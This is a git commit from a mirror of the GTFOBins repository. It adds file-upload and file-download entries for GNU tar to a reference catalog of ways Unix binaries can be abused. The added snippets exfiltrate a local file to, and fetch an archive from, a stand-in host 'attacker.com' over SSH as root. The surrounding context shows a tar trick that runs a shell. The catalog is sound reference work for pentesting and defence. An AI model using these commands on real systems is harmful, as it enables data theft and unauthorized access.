mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add file-download and file-upload to tar
This commit is contained in:
parent
26ea00d78a
commit
3a0179306c
@ -11,6 +11,21 @@ functions:
|
|||||||
tar cf "$TF.tar" "$TF"
|
tar cf "$TF.tar" "$TF"
|
||||||
tar xf "$TF.tar" --to-command sh
|
tar xf "$TF.tar" --to-command sh
|
||||||
rm "$TF"*
|
rm "$TF"*
|
||||||
|
file-upload:
|
||||||
|
- description: This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
|
||||||
|
code: |
|
||||||
|
export RHOST=attacker.com
|
||||||
|
export RUSER=root
|
||||||
|
export RFILE=/tmp/file_to_send.tar
|
||||||
|
export LFILE=file_to_send
|
||||||
|
tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh
|
||||||
|
file-download:
|
||||||
|
- description: This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the `rmt` utility installed (it should be present by default in Debian-like distributions).
|
||||||
|
code: |
|
||||||
|
export RHOST=attacker.com
|
||||||
|
export RUSER=root
|
||||||
|
export RFILE=/tmp/file_to_get.tar
|
||||||
|
tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
|
||||||
file-write:
|
file-write:
|
||||||
- description: This only works for GNU tar.
|
- description: This only works for GNU tar.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user